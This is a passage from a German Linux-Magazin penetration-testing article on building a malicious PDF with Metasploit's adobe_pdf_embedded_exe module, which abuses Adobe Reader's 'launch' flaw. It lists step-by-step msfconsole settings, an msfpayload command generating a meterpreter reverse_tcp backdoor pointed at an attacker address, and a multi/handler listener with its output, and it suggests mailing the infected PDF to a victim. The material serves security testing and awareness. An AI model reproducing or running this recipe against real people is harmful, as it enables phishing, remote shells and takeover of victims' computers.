PDF-Exploits

Mit derartigen Bruteforce-Angriffen ist die Leistungsfähigkeit von Metasploit noch lange nicht ausgereizt. In dem Artikel "Geisterstunde" [3] berichtete das Linux-Magazin über Schwachstellen im beliebten Adobe Reader. Der damalige Exploit benutzte die »util.printf«-Funktion, um mit Javascript Schadcode auf einem Windows-PC abzulegen. Die Versionen 9 des Readers haben zwar diese Schwachstellen gestopft, aber auch die andere Seite hat nachgezogen. Metasploit ist wie so oft jedoch schneller als das Patch des Herstellers. Der im folgenden beschriebene Exploit »adobe_pdf_embedded_exe« zeigt, dass die Open-Source-Community eher reagiert als die Hersteller proprietärer Software.

Das Einfallstor bildet die vor Kurzem bekannt gewordene »launch«-Schwachstelle, die bei Redaktionsschluss immer noch ungepatcht war. Einen Proof of Concept (PoC) findet der interessierte Admin unter [4], abermals sorgt nur eine umständliche Einstellung in der Windows-Registry für Abhilfe.

Das folgende Beispiel nutzt einmal mehr den unverdächtigen Windows-Taschenrechner »calc.exe« als simulierten Schadcode. Danach ersetzt der Tester das Windows-Binary durch eine selbst erstellte und mitgelieferte Backdoor aus Metasploit. Dazu extrahiert er die Payload »reverse_tcp« einfach aus dem Framework als Windows-Executable, bindet die IP-Adresse zum Angreifer ein und schiebt dem Opfer ein auf den ersten Blick seriös anmutendes PDF unter, zum Beispiel per E-Mail.

Die Idee dazu ist nicht neu, ältere Exploits nutzten ähnliche Taktiken, um ins Netzwerk des Dalai Lama einzudringen oder um Regierungscomputer vieler Länder mit dem bekannten Ghostnet-Trojaner zu beglücken. Neu jedoch ist die Erkenntnis, dass auch Zeus sich dieser Methode bedient. Nicht der König der Götter ist hier gemeint, sondern der als "King of Crime" bekannte Trojaner [5].

Tabelle 1: »adobe_pdf_embedded_exe«

An der Msfconsole liefert der Befehl »use exploit/windows/fileformat/adobe_pdf_embedded_exe« gefolgt von einem »show options« eine Liste der Angriffsparameter (Tabelle 1). Fürs Beispiel benötigte Parameter sind:

• »EXENAME«: Der erste Test erfolgt nicht mit einer
  Backdoor, sondern mit »calc.exe«. Der Binärcode
  des Taschenrechners wird ins PDF eingebettet.
• »FILENAME«: Name des infizierten Dokuments, hier
  »tibet.pdf«.
• »INFILENAME«: Name des sauberen Dokuments, hier
  »test.pdf«, beispielsweise ein mit Open Office
  erstelltes PDF.
• »OUTPUTPATH«: Ausgabeverzeichnis für
  »tibet.pdf«, hier »/tmp«.

An der Msfconsole wählt der Tester jetzt den Exploit »adobe_pdf_embedded_exe« aus und initialisiert ihn mit:

use exploit/windows/fileformat/adobe_pdf_
embedded_exe
set EXENAME /tmp/calc.exe
set FILENAME tibet.pdf
set INFILENAME /tmp/test.pdf
set OUTPUTPATH /tmp
set PAYLOAD windows/meterpreter/bind_tcp

Ein »show options« zeigt die eingegebenen Daten (Abbildung 1), das abschließende »exploit« erstellt ein PDF, das den Taschenrechner startet (Abbildung 2).

Abbildung 1: Das Feedback des Exploit liefert die eingegebenen Informationen inklusive des Namens der Exe-Datei und des PDF, in das diese eingebettet ist.

Abbildung 2: Beim Öffnen des mit Metasploit erstellten PDF poppt auf einmal der Windows-Taschenrechner auf.

Eigene Backdoor bauen

Dieser Exploit kann bestenfalls als Proof of Concept herhalten. Im nächsten Beispiel öffnet deshalb eine Hintertür im PDF-Dokument eine Verbindung zurück zum Angreifer. Dazu erstellt der Tester einen passenden Schadcode. Ein typisches Szenario ist dabei eine Reverse-TCP-Verbindung, die automatisch eine Verbindung zwischen Opfer und Angreifer herstellt. Ein Programmierer würde so seine IP-Adresse und Portnummer in den Shellcode einbinden. Anwender von Metasploit brauchen jedoch keinen C- oder Assembler-Code zu erstellen. Das Tool bringt eine große Anzahl geeigneter Payloads mit, die der Tester lediglich aus dem Framework extrahieren muss.

Da als Zielplattform nur Windows-Betriebssysteme in Frage kommen, exportiert er sie in Windows\' Exe-Binärformat. Die auszuführende Datei erhält den Namen »reverse.exe«, sie generiert Metasploit aus die Payload »meterpreter/reverse_tcp«:

/pentest/exploits/framework3/msfpayload 
windows/meterpreter/reverse_tcp LHOST=
192.168.0.2 X > reverse.exe

Die Zutaten »reverse.exe« und »test.pdf« sind jetzt vorbereitet. Metasploit verschmilzt sie zum infizierten PDF-Dokument »tibet.pdf« (Abbildung 3).

Abbildung 3: Die Windows-Backdoor ist im PDF installiert. Die Session erlaubt erst später das Betrachten des Dokuments durch den Reader.

Die Meldung »No session completed« kann der Tester getrost ignorieren, erst das Öffnen des Dokuments erzeugt später die Session. Im Beispiel kopiert der Benutzer dieses Dokument auf den Zielrechner, ein Windows XP mit SP3 und Adobe Reader, öffnet es jedoch vorerst nicht. Der angreifende PC benötigt noch einen Listener, der auf der eingetragenen Portnummer (Defaulteinstellung: 4444) lauscht, denkbar wäre auch eine Netcat-Verbindung. Als weit eleganter erweist sich aber auch hier wieder Metasploit, diesmal mit dem Multihandler. Er steht in der Msfconsole oder dem Msfcli zur Verfügung:

# /pentest/exploits/framework3/msfcli exploit
/multi/handler PAYLOAD=windows/meterpreter/
reverse_tcp LHOST=192.168.0.2 LPORT=4444 E
[*] Please wait while we load the module 
tree...
[*] Started reverse handler on 
192.168.0.2:4444
[*] Starting the payload handler...

Der Listener befindet sich in Empfangsbereitschaft und wartet auf ein geöffnetes Dokument. Auf dem Windows-PC reagiert der Adobe Reader zunächst etwas verwirrt und möchte das Dokument schließen, was der Benutzer im Test auch akzeptiert (Abbildung 4).

Abbildung 4: Eigentlich auffällig, dass der Adobe Reader beim Öffnen eines PDF eine Datei speichern und sich beenden möchte, aber das mag mancher User noch übersehen.